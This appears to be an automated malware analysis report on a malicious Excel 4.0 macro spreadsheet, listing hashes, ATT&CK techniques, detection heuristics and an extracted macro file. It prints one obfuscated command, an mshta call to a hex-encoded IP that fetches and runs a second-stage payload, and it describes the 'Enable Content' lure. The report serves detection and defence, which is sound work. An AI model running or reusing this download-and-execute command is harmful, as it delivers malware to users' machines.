Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 0d6e6032baf77b2b…

MALICIOUS

Office (OLE) / .XLS

65.8 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 41fd86763bb475518aadcd4c7367509b SHA-1: f426cde9dc6ea0ad1a1220244c643dc3127e0e2e SHA-256: 0d6e6032baf77b2b79a23cec5e77c6f018147e3fed9baa16398dfd5ef57f4f25
100 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The macro attempts to bypass security by instructing the user to 'Enable Editing' and 'Enable Content'. The reconstructed command is 'cmd /c msh^t^a http://0xc12a24f5/cc.html', which indicates it downloads a second-stage payload from the specified URL. This is a common technique for delivering malware.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes